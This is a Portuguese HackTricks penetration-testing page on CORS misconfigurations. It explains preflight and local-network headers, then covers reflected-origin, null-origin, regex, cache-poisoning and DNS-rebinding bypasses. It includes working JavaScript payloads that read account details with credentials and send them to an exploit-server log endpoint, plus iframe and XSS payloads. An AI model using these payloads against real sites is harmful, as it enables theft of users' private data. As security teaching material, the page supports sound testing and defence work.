hacktricks/pentesting-web/cors-bypass.md

27 KiB

CORS - Configurações Incorretas & Bypass

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

O que é CORS?

O padrão CORS (Cross-origin resource sharing) é necessário porque ele permite que servidores especifiquem quem pode acessar seus ativos e quais métodos de requisição HTTP são permitidos a partir de recursos externos.

Uma política de mesma origem requer que tanto o servidor solicitante de um recurso quanto o servidor onde o recurso está localizado usem o mesmo protocolo ([http://), nome de domínio](http://), nome de domínio) (internal-web.com) e a mesma porta (80). Então, se o servidor impõe a política de mesma origem, apenas páginas web do mesmo domínio e porta poderão acessar os recursos.

A tabela a seguir mostra como a política de mesma origem seria aplicada em http://normal-website.com/example/example.html :

URL acessada Acesso permitido?
http://normal-website.com/example/ Sim: mesmo esquema, domínio e porta
http://normal-website.com/example2/ Sim: mesmo esquema, domínio e porta
https://normal-website.com/example/ Não: esquema e porta diferentes
http://en.normal-website.com/example/ Não: domínio diferente
http://www.normal-website.com/example/ Não: domínio diferente
http://normal-website.com:8080/example/ Não: porta diferente*

*O Internet Explorer permitirá este acesso porque o IE não leva em conta o número da porta ao aplicar a política de mesma origem.

Cabeçalho Access-Control-Allow-Origin

A especificação de Access-Control-Allow-Origin permite múltiplas origens, ou o valor null, ou o coringa *. No entanto, nenhum navegador suporta múltiplas origens e existem restrições no uso do coringa *.(O coringa só pode ser usado sozinho, isso falhará Access-Control-Allow-Origin: https://*.normal-website.com e não pode ser usado com Access-Control-Allow-Credentials: true)

Este cabeçalho é retornado por um servidor quando um site solicita um recurso de domínio cruzado, com um cabeçalho Origin adicionado pelo navegador.

Cabeçalho Access-Control-Allow-Credentials

O comportamento padrão de requisições de recursos de origem cruzada é para que as requisições sejam passadas sem credenciais como cookies e o cabeçalho de Autorização. No entanto, o servidor de domínio cruzado pode permitir a leitura da resposta quando credenciais são passadas para ele, definindo o cabeçalho CORS Access-Control-Allow-Credentials como true.

Se o valor for definido como true, então o navegador enviará credenciais (cookies, cabeçalhos de autorização ou certificados de cliente TLS).

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

Pedido de pré-voo

Sob certas circunstâncias, quando um pedido entre domínios:

  • inclui um método HTTP não padrão (HEAD, GET, POST)
  • inclui novos cabeçalhos
  • inclui um valor especial no cabeçalho Content-Type

{% hint style="info" %} Verifique neste link as condições de um pedido para evitar o envio de um pedido de pré-voo {% endhint %}

o pedido entre origens é precedido por um pedido usando o método OPTIONS, e o protocolo CORS exige uma verificação inicial sobre quais métodos e cabeçalhos são permitidos antes de permitir o pedido entre origens. Isso é chamado de verificação de pré-voo. O servidor retorna uma lista de métodos permitidos além da origem confiável e o navegador verifica se o método do site solicitante é permitido.

{% hint style="danger" %} Note que mesmo que um pedido de pré-voo não seja enviado porque as condições do "pedido regular" são respeitadas, a resposta precisa ter os cabeçalhos de autorização ou o navegador não poderá ler a resposta do pedido. {% endhint %}

Por exemplo, este é um pedido de pré-voo que está tentando usar o método PUT juntamente com um cabeçalho de pedido personalizado chamado Special-Request-Header:

OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

O servidor pode retornar uma resposta como a seguinte:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers Cabeçalhos permitidos
  • Access-Control-Expose-Headers
  • Access-Control-Max-Age Define um tempo máximo para o cache da resposta de pré-voo para reutilização
  • Access-Control-Request-Headers O cabeçalho que a solicitação de origem cruzada deseja enviar
  • Access-Control-Request-Method O método que a solicitação de origem cruzada deseja usar
  • Origin Origem da solicitação de origem cruzada (Definido automaticamente pelo navegador)

Note que normalmente (dependendo do content-type e dos cabeçalhos definidos) em uma solicitação GET/POST não é enviada uma solicitação de pré-voo (a solicitação é enviada diretamente), mas se você quiser acessar os cabeçalhos/corpo da resposta, ela deve conter um cabeçalho Access-Control-Allow-Origin permitindo isso.
Portanto, CORS não protege contra CSRF (mas pode ser útil).

Solicitação de pré-voo de pedidos de rede local

Quando uma solicitação é enviada para um endereço IP de rede local, 2 cabeçalhos CORS adicionais são enviados:

  • O cabeçalho de solicitação do cliente Access-Control-Request-Local-Network indica que a solicitação é um pedido de rede local
  • O cabeçalho de resposta do servidor Access-Control-Allow-Local-Network indica que um recurso pode ser compartilhado com segurança com redes externas

Uma resposta válida que permite a solicitação de rede local precisa ter também na resposta o cabeçalho Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://public.example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} Observe que o IP 0.0.0.0 do linux funciona para bypass desses requisitos para acessar o localhost, pois esse endereço IP não é considerado "local".

Também é possível bypass nos requisitos de Rede Local se você usar o endereço IP público de um ponto final local (como o IP público do roteador). Porque em várias ocasiões, mesmo que o IP público esteja sendo acessado, se for da rede local, o acesso será concedido.

{% endhint %}

Configurações mal configuradas exploráveis

Note que a maioria dos ataques reais requerem Access-Control-Allow-Credentials definido como true, pois isso permitirá que o navegador envie as credenciais e leia a resposta. Sem credenciais, muitos ataques se tornam irrelevantes; significa que você não pode aproveitar os cookies de um usuário, então muitas vezes não há nada a ganhar fazendo o navegador deles emitir a solicitação em vez de fazê-la você mesmo.

Uma exceção notável é quando a localização de rede da vítima funciona como um tipo de autenticação. Você pode usar o navegador de uma vítima como um proxy para bypass na autenticação baseada em IP e acessar aplicações de intranet. Em termos de impacto, isso é semelhante ao DNS rebinding, mas muito menos complicado de explorar.

Origin refletido em Access-Control-Allow-Origin

No mundo real isso não pode acontecer, pois esses 2 valores dos cabeçalhos são proibidos juntos.
Também é verdade que muitos desenvolvedores querem permitir várias URLs no CORS, mas curingas de subdomínio ou listas de URLs não são permitidos. Então, vários desenvolvedores geram o cabeçalho **Access-Control-Allow-Origin** dinamicamente, e em mais de uma ocasião eles simplesmente copiam o valor do cabeçalho Origin.

Nesse caso, a mesma vulnerabilidade pode ser explorada.

Em outros casos, o desenvolvedor pode verificar se o domínio (victimdomain.com) aparece no cabeçalho Origin, então, um atacante pode usar um domínio chamado attackervictimdomain.com para roubar as informações confidenciais.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='/log?key='+this.responseText;
};
</script>

A Origem null

null é um valor especial para o cabeçalho Origin. A especificação menciona que ele é acionado por redirecionamentos e arquivos HTML locais. Algumas aplicações podem incluir na lista branca a origem null para suportar o desenvolvimento local da aplicação.
Isso é bom porque várias aplicações permitirão esse valor dentro do CORS e qualquer site pode facilmente obter a origem null usando um iframe com sandbox:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Bypasses de Regexp

Se você descobriu que o domínio victim.com está na lista de permissões, você deve verificar se victim.com.attacker.com também está na lista de permissões, ou, caso você possa tomar controle de algum subdomínio, verifique se somesubdomain.victim.com está na lista de permissões.

Bypasses avançados de Regexp

A maioria dos regex usados para identificar o domínio dentro da string se concentra em caracteres ASCII alfanuméricos e .-. Então, algo como victimdomain.com{.attacker.com no cabeçalho Origin será interpretado pelo regexp como se o domínio fosse victimdomain.com, mas o navegador (neste caso, o Safari suporta este caractere no domínio) acessará o domínio attacker.com.

O caractere _ (em subdomínios) não é apenas suportado no Safari, mas também no Chrome e no Firefox!

Então, usando um desses subdomínios, você poderia burlar alguns regex "comuns" para encontrar o domínio principal de uma URL.

Para mais informações e configurações deste bypass, confira: https://www.corben.io/advanced-cors-techniques/ e https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

De XSS dentro de um subdomínio

Um mecanismo de defesa que os desenvolvedores usam contra a exploração de CORS é colocar na lista de permissões domínios que frequentemente solicitam acesso a informações. No entanto, isso não é totalmente seguro, porque se até mesmo um dos subdomínios do domínio na lista de permissões for vulnerável a outros exploits, como XSS, isso pode possibilitar a exploração de CORS.

Vamos considerar um exemplo, o seguinte código mostra a configuração que permite que subdomínios de requester.com acessem recursos de provider.com.

if ($_SERVER['HTTP_HOST'] == '*.requester.com')
{
//Access data
else{ // unauthorized access}
}

Envenenamento de cache do lado do servidor

Se as estrelas estiverem alinhadas, podemos ser capazes de usar envenenamento de cache do lado do servidor via injeção de cabeçalho HTTP para criar uma vulnerabilidade de XSS armazenado.

Se uma aplicação reflete o cabeçalho Origin sem sequer verificar a presença de caracteres ilegais como , efetivamente temos uma vulnerabilidade de injeção de cabeçalho HTTP contra usuários do IE/Edge, pois o Internet Explorer e o Edge consideram \r (0x0d) como um terminador de cabeçalho HTTP válido:GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

O Internet Explorer vê a resposta como:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Isso não é diretamente explorável porque não há como um atacante fazer com que o navegador web de alguém envie um cabeçalho tão malformado, mas eu posso criar manualmente esta solicitação no Burp Suite e um cache do lado do servidor pode salvar a resposta e servi-la a outras pessoas. O payload que usei mudará o conjunto de caracteres da página para UTF-7, que é notoriamente útil para criar vulnerabilidades XSS.

Envenenamento de cache do lado do cliente

Você pode ter ocasionalmente encontrado uma página com XSS refletido em um cabeçalho HTTP personalizado. Digamos que uma página web reflita o conteúdo de um cabeçalho personalizado sem codificação:

GET / HTTP/1.1
Host: example.com
X-User-id: &lt;svg/onload=alert\(1\)&gt;

HTTP/1.1 200 OK
Access-Control-Allow-Origin: \*
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html
...
Invalid user: &lt;svg/onload=alert\(1\)&gt;\

Com CORS, podemos enviar qualquer valor no Header. Por si só, isso é inútil já que a resposta contendo nosso JavaScript injetado não será renderizado. No entanto, se Vary: Origin não foi especificado a resposta pode ser armazenada no cache do navegador e exibida diretamente quando o navegador navega para a URL associada. Eu criei um fiddle para tentar esse ataque em uma URL de sua escolha. Como esse ataque usa o cache do lado do cliente, ele é na verdade bastante confiável.

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // beware of mixed content blocking when targeting HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send();
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI designa um tipo de vulnerabilidade que explora o fato de que, quando um recurso é incluído usando a tag script, a SOP não se aplica, porque os scripts precisam poder ser incluídos entre domínios. Um atacante pode, portanto, ler tudo o que foi incluído usando a tag script.

Isso é especialmente interessante quando se trata de JavaScript dinâmico ou JSONP, quando informações de autoridade ambiente como cookies são usadas para autenticação. Os cookies são incluídos ao solicitar um recurso de um host diferente. Plugin do BurpSuite: https://github.com/kapytein/jsonp

Leia mais sobre os diferentes tipos de XSSI e como explorá-los aqui.

Tente adicionar um parâmetro callback na solicitação. Talvez a página tenha sido preparada para enviar os dados como JSONP. Nesse caso, a página enviará de volta os dados com Content-Type: application/javascript, o que contornará a política de CORS.

Bypass fácil (inútil?)

Você pode pedir a uma aplicação web para fazer uma solicitação por você e enviar de volta a resposta. Isso contornará o Access-Control-Allow-Origin, mas observe que as credenciais para a vítima final não serão enviadas, pois você estará contatando um domínio diferente (aquele que fará a solicitação por você).

CORS-escape

CORS-escape fornece um proxy que passa a nossa solicitação junto com seus headers, e também falsifica o header Origin (Origin = domínio solicitado). Assim, a política de CORS é contornada.
O código-fonte está no Github, então você pode hospedar o seu próprio.

xhr.open("GET", "https://cors-escape.herokuapp.com/https://maximum.blog/@shalvah/posts");

simple-cors-escape

Proxying é como se fosse "passar adiante" sua solicitação, exatamente como você a enviou. Poderíamos resolver isso de uma maneira alternativa que ainda envolve alguém fazendo a solicitação por você, mas desta vez, em vez de passar adiante sua solicitação, o servidor faz sua própria solicitação, mas com quaisquer parâmetros que você especificou.

Iframe + Popup Bypass

Você pode burlar verificações de CORS como e.origin === window.origin criando um iframe e a partir dele abrindo uma nova janela. Mais informações na página a seguir:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

DNS Rebinding via TTL

Basicamente você faz o usuário acessar sua página, depois você muda o DNS do seu domínio (o IP) e faz com que ele aponte para a página web da vítima. Você faz sua vítima executar (JS) algo quando o TTL terminar para que uma nova solicitação de DNS seja feita e então você poderá coletar as informações (como você sempre mantém o usuário em seu domínio, ele não enviará nenhum cookie para o servidor da vítima, então esta opção abusa dos privilégios especiais do IP da vítima).

Mesmo que você defina o TTL muito baixo (0 ou 1), os navegadores têm um cache que irá impedir que você abuse disso por vários segundos/minutos.

Portanto, essa técnica é útil para burlar verificações explícitas (a vítima está realizando explicitamente uma solicitação de DNS para verificar o IP do domínio e quando o bot é chamado ele fará sua própria).

Ou quando você pode ter um usuário/bot na mesma página por um longo tempo (para que você possa esperar até que o cache expire).

Se você precisar de algo rápido para abusar disso, você pode usar um serviço como https://lock.cmpxchg8b.com/rebinder.html.

Se você quiser executar seu próprio servidor de DNS rebinding, você pode usar algo como DNSrebinder, depois exponha sua porta local 53/udp, crie um registro A apontando para ele (ns.example.com), e crie um registro NS apontando para o subdomínio A criado anteriormente(ns.example.com).
Então, qualquer subdomínio desse subdomínio (ns.example.com), será resolvido pelo seu host.

Confira também o servidor público em execução em http://rebind.it/singularity.html

DNS Rebinding via Inundação do Cache de DNS

Como foi explicado na seção anterior, os navegadores têm os IPs dos domínios em cache por mais tempo do que o especificado no TTL. No entanto, há uma maneira de contornar essa defesa.

Você pode ter um service worker que irá inundar o cache de DNS para forçar uma segunda solicitação de DNS. Então o fluxo será como:

  1. Solicitação de DNS respondida com endereço do atacante
  2. Service worker inunda o cache de DNS (o nome do servidor atacante em cache é deletado)
  3. Segunda solicitação de DNS desta vez respondida com 127.0.0.1

Azul é a primeira solicitação de DNS e laranja é a inundação.

DNS Rebinding via Cache

Como foi explicado na seção anterior, os navegadores têm os IPs dos domínios em cache por mais tempo do que o especificado no TTL. No entanto, há outra maneira de contornar essa defesa.

Você pode criar 2 registros A (ou 1 com 2 IPs, dependendo do provedor) para o mesmo subdomínio no provedor de DNS e quando um navegador verificar por eles, ele receberá ambos.

Agora, se o navegador decidir usar primeiro o endereço IP do atacante, o atacante poderá servir o payload que irá realizar solicitações HTTP para o mesmo domínio. No entanto, agora que o atacante conhece o IP da vítima, ele parará de responder ao navegador da vítima.

Quando o navegador perceber que o domínio não está respondendo, ele usará o segundo IP fornecido, então ele acessará um local diferente burlando SOP. O atacante pode abusar disso para obter as informações e exfiltrá-las.

{% hint style="warning" %} Observe que para acessar localhost você deve tentar reassociar 127.0.0.1 no Windows e 0.0.0.0 no linux.
Provedores como godaddy ou cloudflare não me permitiram usar o ip 0.0.0.0, mas a AWS route53 me permitiu criar um registro A com 2 IPs sendo um deles "0.0.0.0"

{% endhint %}

Para mais informações, você pode conferir https://unit42.paloaltonetworks.com/dns-rebinding/

Outros Bypasses Comuns

  • Se IPs internos não são permitidos, eles podem ter esquecido de proibir 0.0.0.0 (funciona no Linux e Mac)
  • Se IPs internos não são permitidos, responda com um CNAME para localhost (funciona no Linux e Mac)
  • Se IPs internos não são permitidos como respostas de DNS, você pode responder com CNAMEs para serviços internos como www.corporate.internal.

DNS Rebidding Armado

Você pode encontrar mais informações sobre as técnicas de bypass anteriores e como usar a seguinte ferramenta na palestra Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin é uma ferramenta para realizar ataques de DNS rebinding. Inclui os componentes necessários para reassociar o endereço IP do nome DNS do servidor de ataque ao endereço IP da máquina alvo e para servir payloads de ataque para explorar software vulnerável na máquina alvo.

Proteção Real contra DNS Rebinding

  • Use TLS em serviços internos
  • Solicite autenticação para acessar dados
  • Valide o cabeçalho Host
  • https://wicg.github.io/private-network-access/: Proposta para sempre enviar uma solicitação de pré-voo quando servidores públicos querem acessar servidores internos

Ferramentas

Fuzz possíveis má configurações em políticas de CORS

Referências

{% embed url="https://portswigger.net/web-security/cors" %}

{% embed url="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS" %}

{% embed url="https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties" %}

{% embed url="https://www.codecademy.com/articles/what-is-cors" %}

{% embed url="https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors" %}

{% embed url="https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646" %}

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration" %}

{% embed url="https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b" %}

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks: